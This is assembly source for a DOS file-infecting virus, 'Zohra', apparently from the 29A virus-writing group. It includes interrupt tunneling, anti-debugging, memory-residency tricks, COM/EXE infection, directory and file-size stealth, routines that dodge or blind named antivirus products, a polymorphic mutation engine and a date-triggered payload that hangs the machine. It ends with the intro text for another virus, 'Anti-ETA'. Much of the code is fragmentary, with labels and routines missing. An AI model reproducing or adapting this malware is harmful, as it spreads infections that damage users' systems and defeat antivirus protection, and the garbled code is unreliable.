HOSTSEG segment BYTE ; Host program for the first generation
ASSUME CS:HOSTSEG, SS:CODIGO
Host:
mov ax,4c00h
int 21h
ends
CODIGO segment
ASSUME CS:CODIGO, DS:CODIGO, ES:CODIGO
org 00h
Comienzo:
push es ds
push cs cs
pop ds es
call fuera_desencriptado
continuemos:
;**************************
; THE TOURNIQUET KODE ANALYZER
; ---------------------------------
tunneling:
analizar:
lodsb ; Looks for a byte in ds:si ( where
cmp al,41h ;the int21h points ), and in the
ja @@mayor_40 ;following code identifies the
and al,00001111b ;instruction, adding it's size to di
;and continuing the identification.
; Group < 40h
cmp al,3h
ja @@nointvar
@@ii: jmp @variable_instruction
@@nointvar:
cmp al,5h ;This first byte of the place pointed
jb @bytes_2 ;by ds:si is going to tell us in
jz @bytes_3 ;the majority of cases it's length,
cmp al,8h ;if it's a jmp far, call far, an
jb @bytes_1 ;invalid opcode ( for 8086 ), etc
jz @@ii
cmp al,0ch
jb @variable_instruction ; Some instructions don't
jz @bytes_2 ;have a fixed length gived by their
cmp al,0dh ;first byte, so we'll have to see
jz @bytes_3 ;more of them: this, in @variable...
ja @bytes_1
@desdec4:
cmp al,0c6h
jb @variable_instruction
jz @variable_instruction_1
cmp al,0c7h
jz @variable_instruction_2
cmp al,0cah
jb @invalida
jz @bytes_3
cmp al,0cch
jb @invalida ; We'll also take a retf as invalid
jz @bytes_1
cmp al,0ceh
jb @bytes_2
jz @bytes_1
cmp al,0cfh
jz @invalida ; Iret, we return from interrupt.
; From 0d0h
cmp al,0d4h
jb @variable_instruction
cmp al,0d6h
jb @bytes_2
jz @invalida
cmp al,0d7h
jz @bytes_1
cmp al,0e0h
jb @variable_instruction
cmp al,0e8h
jb @bytes_2
jz @bytes_3 ; Near call: we ignore it
cmp al,0eah
jb @jmpnext
jz @posible_salto ; Jmp far
cmp al,0ebh
jz @jmpshort
cmp al,0f1h
jb @go_bytes_1
jz @invalida
cmp al,0feh
jb @go_bytes_1
@go_bytes_1:
jmp @bytes_1
@jmpshort: ; Near jump, the nearest 80 bytes up or down:
lodsb ;we check, and make it.
xor ah,ah
cmp al,80h
jb @addit
neg al ; If it's a jmp to previous code
sub si,ax
jmp analizar
@jmpnext: ; 3 bytes
lodsw
@addit:
add si,ax ; Next jmps are coded E9 XX YY; distance
jmp analizar ;is = current+3+YYXX
cond_flag:
db 0
cond_place:
dw 0
; ****************************************************************************
; OPCODE TABLE
; ----------------------------------------------------------------------------
;
; This table is which I made for myself with the 8086 opcodes: I suppose it
; will make easier the code analyzer understanding, and maybe it also will
; be of use to someone...
;
; Length of instructions that can be coded by the Pc ( 8086 )
; -----------------------------------------------------------
;
; Those that have special importance for the Code Analyzer ( rets, calls and
; jumps ) are signaled. The others are normal instructions of the computer set.
;
; Sometimes in "first byte" I include some opcodes; this means that in all
; that range the byte conditions and length are the same. Length indicates
; how much the instruccion size is ( each interrogation means half byte, two
; hexadecimal figures ):
;
; ****************************************************************************
; Each 7h bytes the same list is repeated, I mean, the bytes size will be
; the same at positions 01h, 09h, 10h, 19h, 20h, 29h, 30h and 39h. When
; getting to 40h it changes:
;
; 0 <= Y < 40h
;
; Y can take any value between them
;
; 1st byte 2nd byte next length
;
; Y0h-Y3h * Variable instruction
;
; Y4h ?? - 2 bytes
;
; Y5h ?? ?? 3 bytes
;
; Y6h-Y7h - - 1 byte
;
; Y8h-Ybh * Variable instruction
;
; Ych ?? - 2 bytes
;
; Ydh ?? ?? 3 bytes
;
; Yeh-Yfh - - 1 byte
;
;
; Next part: All are one byte instructiones, between 40h and 6fh. Although,
; instructions between 60h and 6fh ( included ) are invalid.
;
; 40h-6fh - - 1 byte
;
; Part three: Conditional jumps, starting from 70h to 7fh
;
; 70h-7fh - - 2 bytes
;
; Now, a group of different instructions:
;
; 80h,82h,83h * Variable instruction ( +1 )
;
; 81h * Variable instruction ( +2 )
;
; 84h-8fh * Variable instruction
;
; Between 90h and 99h there are more one byte instructions, except in 9Ah;
; this opcode is the "call far" instruction.
;
; 90h-99h - - 1 byte
;
; 9ah ?? ?? ?? ?? 4 bytes
;
; 9bh-9fh - - 1 byte
;
; New list, we start from 0a0h
;
; 0a0h-0a3h ?? ?? 3 bytes
;
; 0a4h-0afh - - 1 byte
;
; 0b0h-0b7h ?? - 2 bytes
;
; 0b8h-0bfh ?? ?? 3 bytes
;
; 0c0h-0c1h Invalid
;
; This is a ret [immed]
;
; 0c2h ?? ?? 3 bytes
;
; Ret
;
; 0c3h - - 1 byte
;
;
; 0c4h,0c5h * Variable instruction
;
; 0c6h * Variable instruction ( +1 )
;
; 0c7h * Variable instruction ( +2 )
;
; 0c8h-0c9h Invalid
;
; Return far [inmed]
;
; 0cah ?? ?? 3 bytes
;
; Return far
;
; 0cbh - - 1 byte
;
; 0cch - - 1 byte
;
; 0cdh ?? - 2 bytes
;
; 0ceh - - 1 byte
;
; ( Interrup Return )
;
; 0cfh - - 1 byte
;
; 0d0h-0d3h * Variable instruction
;
; 0d4h-0d5h ?? - 2 bytes
;
; 0d6h Invalid
;
; 0d7h - - 1 byte
;
; 0d8h-0dfh * Variable instruction
;
; 0e0h-0e7h ?? - 2 bytes
;
; Call
;
; 0e8h ?? ?? 3 bytes
;
; jmp next
;
; 0e9h ?? ?? 3 bytes
;
; jmp far
;
; 0eah ?? ?? ?? ?? 5 bytes
;
; jmp short
;
; 0ebh ?? - 2 bytes
;
; 0ech-0f0h - - 1 byte
;
; 0f1h Invalid
;
; 0f2h-0fdh - - 1 byte
;
;
; 0feh-0ffh * Variable instruction
;
; ***************************************************************************
; ---------------------------------------------------------------------------
;
; * Variable instruction ( those which values change depending on the second
; byte )
;
; A (+1) or a (+2) tells the number of bytes to add to the number of bytes
; shown at the column on the right. The values on the left belong to the
; second byte red
;
;
; If it's < 40h
;
; XEh o X6h ?? ?? 4 bytes
; <>XEh & <>X6h - 2 bytes
;
; If 3fh < x < 80h
;
; ?? ?? 3 bytes
;
; If 7fh < x < c0h
;
; ?? ?? 4 bytes
;
; If 0bfh < x
;
; ?? - 2 bytes
;
;
; *************************** END OF TUNNELING ****************************
regs2zero:
xor ax,ax ; Zero registers
mov bx,ax
mov cx,ax
cwd
mov si,ax
ret
tunnel_hecho:
push cs
pop ds
ant_debug:
push ax ; Anti-debugging routine
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz @getmcb
mov ax,4c00h
int 21h
@getmcb:
call get_z_mcb ; We take the last Mcb
el_ultimo:
pop dx
push dx
cmp word ptr es:[1],0h ; Is it free ?
jz parlante ; If not...
cmp word ptr es:[1],dx ; Or with active Psp ?
jne ya_instalado
parlante:
cmp word ptr es:[3],(((virus_size+15)/16)*2)+24h
jb ya_instalado ; Enough size ?
xor ax,ax
mov es,ax
pop ax
push ax
sub ax,100h ; We reduce 100h bytes the
cli ;segment and augments 1000h
mov word ptr es:[0086h],ax ;bytes the offset with the
lea dx,handler_int_21 ;objective that is explained
add dx,1000h ;at the Int21h handler
mov word ptr es:[0084h],dx ;( confuse the advanced user )
sti
installed:
xor bp,bp ; We continue the execution in
push offset ya_instalado ;memory
retf
ya_instalado:
pop ds es
call regs2zero
restaura_com:
push cs
pop ds
push es
mov di,100h ; Restores the header ( three
push di ;first bytes ) if it's a Com.
lea si,bp+header
movsw
movsb
call regs2zero
push es
pop ds
retf
get_z_mcb:
mov ah,52h ; We obtain the List of Lists
int 21h
mov di,es:[bx-2]
mov es,di
loop_da_mcb:
cmp byte ptr es:[0],'Z' ; Search for Mcb 'Z'
jnz @sigue_findin
ret
@sigue_findin: add di,es:[3] ; Mcb Z segment is in ES
inc di
mov es,di
jmp Loop_da_mcb
call_flag: dw 0
infected_flag: db 0
push_all_regs: cli ; Pushes all registers
pop cs:word ptr [call_flag] ;
pushf
push ax bx cx dx di si ds es bp
push cs:word ptr [call_flag]
sti
ret
payload:
mov bx,80*25*2
xor si,si
loop_decrem:
mov word ptr ds:[bx],0 ; Now, the screan cleaning
mov word ptr ds:[bx-2],0 ;effect
mov word ptr ds:[si],0
mov word ptr ds:[si+2],0
zohra_text:
xor bx,bx ; Now we print the Zohra message,
xor di,di ;that is in 'thetext'
push cs
pop ds
lea si,thetext ; ( "Zohra will live forever...
mov cx,1 ; necromancy with her!" )
@print:
mov ah,2h ; We place the cursor at the center
mov dx,0c0eh ;of the screen
add dx,di
int 10h
inc di
jmp @print
acabado:
jmp $ ; I love hanging computers X-)
;****************************************************************************
; STEALTH DE FCB
;----------------------------------------------------------------------------
mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz Not_infected
mov bx,dx
mov al,byte ptr [bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz Normal_FCB
add bx,7h
Normal_FCB:
mov al,es:[bx+17h]
and al,1eh
xor al,1eh
jnz Not_infected
Not_infected:
pop bx ax es
nada_de_stealth: retf 2
;*** 5700h
time_stealth:
xchg ah,al ; Returns apparently correct
pushf ;seconds
call dword ptr cs:[int21h]
push cx
and cl,01eh
xor cl,01eh
pop cx
jnz Vietnow
and cl,0eh
Vietnow:
iret
;****************************************************************************
; NEW INT 21h
;----------------------------------------------------------------------------
; Next motherfucker gonna get my metal
before:
popf
xchg ah,al ; To avoid Avp's 'trace warning', which
cmp ax,5700h ;only checks if there is a cmp ah,4bh
jz time_stealth ;instruction
cmp al,11h
jz fcb_stealth
cmp al,12h
jz fcb_stealth
cmp al,4ch
jnz dont_restore_memory
dec byte ptr cs:[flag1] ; Restores last Mcb size to
jnz @nope2 ;protect our virus after out
call push_all_regs ;anti-mem routine.
call get_z_mcb
sub word ptr es:[3],((virus_size/16)*2)+22h
call pop_all_regs
@nope2: jmp nope
dont_restore_memory:
cmp al,03ch
je open_filexz
cmp al,05bh
je open_filexz
cmp al,03dh
je open_filexz
cmp al,06ch
je open_filexz
cmp al,4eh
jz go_handle
cmp al,4fh
jnz non_handle
go_handle: jmp handle
non_handle:
cmp ax,015dbh
jnz tira_venga
jmp install_check
tira_venga: cmp al,4bh
jnz eing
jmp infeccion
eing:
cmp al,3fh ; File read
jnz @nope2
jmp lets_do_stuff
handler_int_21:
;****************************************************************************
; Open file handle
;----------------------------------------------------------------------------
open_filexz: ; You can kill yourself now because you're dead in my mind
xchg ah,al
pushf
call dword ptr cs:[int21h]
call push_all_regs
go_out:
call pop_all_regs
definetly: retf 2
la_mierda_nos_ronda:
install_check:
cmp si,29Ah ; If it's in memory it returns 29A0h in
jnz nope ;SI
mov si,29A0h
iret
nope:
xchg ah,al
jmp salto_a_int21h
;****************************************************************************
; HANDLE STEALTH
;----------------------------------------------------------------------------
handle:
xchg ah,al
pushf ; Handle stealth, functions
call dword ptr cs:[Int21h] ;4eh/4fh
jc handle_out
pushf
push dx ax es bx di
mov dx,'AR'
call get_prog_in_env ; Rar archive
jc not_infec
mov dx,'UU'
call get_prog_in_env ; UUencode utilities
jc not_infec
mov ah,2fh
int 21h
mov al,es:[bx+16h]
and al,1eh
xor al,1eh
jnz not_infec
sub word ptr es:[bx+1ah],Virus_size+202h
sbb word ptr es:[bx+1ch],0
and byte ptr es:[bx+16h],06bh
not_infec:
pop di bx es ax dx
popf
handle_out:
retf 2
;****************************************************************************
; INFECT !
;----------------------------------------------------------------------------
infeccion:
xchg ah,al
call push_all_regs
mov si,dx
mov di,ds
; Virus activation:
cmp dx,040eh ; Fourteenth of april
jnz noche
jmp payload
noche:
mov ax,3524h
div bp ; Handling of int24h, avoid errors
push bx es
push cs
pop ds
lea dx,int24h
mov ah,25h
div bp
push ax
mov dx,si
mov ds,di
loop_exe: ; Do not infect:
inc si
cmp word ptr ds:[si],'BT' ; Tbav...
jz nos_piramos
cmp word ptr ds:[si],'VA' ; Avp...
jz nos_piramos
cmp word ptr ds:[si],'CS' ; Avscan, Xscan, Scan...
jz nos_piramos
cmp word ptr ds:[si],'VI' ; Invircible
jz nos_piramos
cmp byte ptr ds:[si],0
jz final_cero
jmp loop_exe
final_cero:
mov byte ptr cs:[flag1],0 ; Is Mem.exe executing ?
cmp ds:[si-7],'EM'
jnz nadarl
cmp ds:[si-5],'.M'
jz memory_test
nadarl: cmp ds:[si-7],'IW' ; And Windoze ?
jnz noeswin
cmp ds:[si-5],'.N'
jz ant_memory_test
noeswin:
dec si
dec si
cmp ds:[si],'EX' ; ¨ Is it an .Exe ?
jz Es_un_exe
jmp Podriaseruncom
Es_un_exe:
mov ax,3d02h ; Open r/w
div bp
jnc continua_infecci¢n
nos_piramos: jmp vamonox
ant_memory_test:
lea di,int21h ; Restore original int21h
lds dx,cs:[di]
mov ax,2521h
div bp
Memory_test: ; The virus gets here if the Mem.exe file has been
;executed: if that's right, it adds it's size to the
call get_z_mcb ; last Mcb so it appears the same free
add es:[3],((virus_size/16)*2)+22h ; memory than before
inc byte ptr cs:[flag1] ; installing ( later it's
jmp vamonox ; restored, of course ;) )
Ir_cerrar: jmp cerramos
continua_infecci¢n:
xchg bx,ax
push bx
call @get_da_sft ; Let's go with Sft infection!
pop bx
push es di
lea dx,header ; We read the exe header...
push cs cs
pop ds es
mov ah,3fh
mov cx,01ch
div bp
mov si,dx ; and move it to the second copy
mov di,virus_size+201h+offset header ; of the virus
rep movsb
pop di es
call copiarse
fecha:
pop dx cx
mov ax,5701h
or cl,1fh ; New file time
div bp
cerramos:
mov ah,3eh ; Closing
div bp
vamonox:
pop ax ds dx ; Restore int24h
div bp
call pop_all_regs
jmp salto_a_int21h
;****************************************************************************
; 3fh Handler
;----------------------------------------------------------------------------
sigamos_con_eto:
mov al,5ch ; Searches '\'
joder_busca: scasb
jz miremos
cmp byte ptr es:[di],0h ; Or the end
jnz sigamos_con_eto
volvemos_ya:
clc
ret
;****************************************************************************
; Function 3fh handler
;----------------------------------------------------------------------------
xchg ah,al
call push_all_regs
cmp al,1
jz @vete_pues
cmp bx,8
jnz @vete_pues
mov dx,'-F' ; F-prot ?
call get_prog_in_env
jnc @vete_pues
call pop_all_regs
pushf
call dword ptr cs:[int21h]
call push_all_regs
push ds dx ; Breaks F-prot's ability of detecting
pop di es ;viruses: when it reads data from a file,
xor si,si ;the virus sends the interrupt vector table,
mov ds,si ;so F-prot --doesn't detect any virus--
rep movsb
call pop_all_regs
retf 2
@vete_pues:
call pop_all_regs
jmp salto_a_int21h
;****************************************************************************
; Com infection
;----------------------------------------------------------------------------
; 'Pon la mano as¡ como si fueras a pedir...'
nosvamosya:
jmp cerramos
podriaseruncom:
sigamosconeto:
xchg ax,bx
push bx
call @get_da_sft ; We get the file sft
pop bx
push cs
pop ds
mov ah,3fh
mov cx,3 ; Read first three bytes
lea dx,header+201h+virus_size
div bp
pop ax
mov word ptr es:[di+15h],ax
add ax,300h
mov word ptr ds:[1],ax ; For the poly engine
vamos_a_cerrar:
copiarse:
call push_all_regs
mov bp,virus_size+201h ; second copy
push cs
pop ds
push dx
mov ah,40h
mov dx,virus_size+1
mov cx,virus_size+202h
pushf
call dword ptr cs:[int21h] ; Copy the virus
pop dx
ret
rut_encriptado:
push bx ; File_handle !
mov cx,buffer_uuencode
lea si,encrypt_start+bp ; 7 bytes
bloque_7:
push cx
xchg bx,cx
add bx,bp
sigg:
not cs:byte ptr[si] ; Not the bytes
mov al,byte ptr[si]
or byte ptr[si],080h
and al,080h
rol al,1
shl dx,1
add dl,al
inc si
loop sigg
mov byte ptr [di],dl
pop cx
loop bloque_7
pop bx
ret
; DESENCRIPTACION
rut_desencriptado:
bloques_de_7:
push cx
xchg bx,cx
mov cx,7
add bx,bp
lea di,[buffer+bx]
un_bloque:
push ax
and al,1
ror al,1
or al,07fh
and byte ptr [si],al ; If Al is 0, it doesn't touch it
not cs:byte ptr [si]
inc si
pop ax
rol al,1
loop un_bloque
pop cx
loop bloques_de_7
pop bx
ret
;***************
;***************
poly_engine:
enc_loop:
xor [di],dx
inc di
inc di
loop enc_loop
ret
; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied
go_here:
; This first part of the poly engine fills the blancks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions.
push cs cs
pop ds es
mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times
mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1
lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb
; This part exchanges 50% times Si and Di registers, which are used in
;the decryptor instructions
call aleatorio
and ah,1
jz sin_cambios_sidi
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h ; ¨ 313c ?
mov word ptr [instrucciones+19h],04646h
sin_cambios_sidi:
call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:
push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si
ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes
popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes
popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx
; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.
mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr:
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3
@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine
acabamos_decryptor:
ret
instrucciones:
mov bp,0200h
db 90h,90h ; variable ( junk gen )
;5
mov si,cs:word ptr [encryptvalue+bp]
;A
mov cx,virus_size/2
db 90h,90h
;F
mov di,bp
db 90h,90h,90h
loop_dec: ;14h
xor word ptr cs:[di],si
db 90h,90h
;19h
inc di
inc di
loop loop_dec
db 90h ;1dh
; db 90h,90h,90h
;*******************************************
; Decryptor values
;--------------------
aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in Al, the last
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret
gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h
mov cx,5
rep movsb
sub word ptr[restantes_poly],5h
@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya
@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya
; Generator ----> One byte length instructions generator
inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret
; Generator ----> Two bytes length instructions
inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret
@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret
@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio
and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret
inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret
; Generator ----> Four bytes instructions
@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret
@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret
Salto_a_int21h:
db 0eah
int21h: dw 0,0
; This is to start deencrypting only from the first infection: this part
;doesn't get copied with the virus
fuera_desencriptado:
xor bp,bp
mov word ptr cs:[encrypt_start-2+bp],rut_desencriptado-encrypt_start
ret
CODIGO ENDS
END Comienzo
; This Is Your World In Which We Grow, And We Will Grow To Hate You
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Anti-ETA ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by GriYo/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Introduction
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; This virus is an iniciative of Mister Sandman (writing this right now) and
; GriYo, supported by the rest of the 29Aers and finally written by GriYo.
;
; Espa¤a (Spain in english) is a country that emerged and took its final and
; actual form during the first years of the XVIth century. It was born from
; the conjunction of many other kingdoms/independent countries (ie Arag¢n,
; Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived
; (and fought) together in the actual spanish territory. This final union
; was possible by means of marriages between princes and princesses of these
; kingdoms, pacts, and, of course, wars -which became conquests-.
;
; Today, about four centuries later, a very little minority living in Euska-
; di (right now, one of the seventeen provinces in Spain) claim for their
; independence by means of violence. They don't hesitate on placing bombs in
; big stores, streets, cars, etc. thus causing the death of innocent people,
; or on killing policemen, politicians or anybody who just don't thinks the
; way they do.
;
; Luckily, many of these motherfuckers are arrested and put in prison far
; away from their home. Anyway, this has also become a problem, as they want
; to stay only in euskadian prisons, in order to be able to keep in contact
; with their family. This fact drove them to, apart from do more killings,
; kidnap an innocent young jailer, called Jos‚ Antonio Ortega Lara.
;
; They didn't ask for money. He was put underground in a very tiny and empty
; room, without any light, without any way to know when it dawns or when it
; gets dark, with very few oxygen to breath, with only some food every four
; days, served in the same receptacle where he had to shit and urinate. This
; is... without anything to do... except of waiting to be freed, and hoping
; that all the psychic tortures he was going submitted to were going to have
; an end some day.
;
; Happily, the spanish police found and freed him 532 days later. He had a
; long barb and 27kg less of his normal weight. But he eventually was able
; to see the light and walk (even talk) again. Today, Jos‚ Ortega Lara is
; still under psychical attention, carrying a normal life again.
;
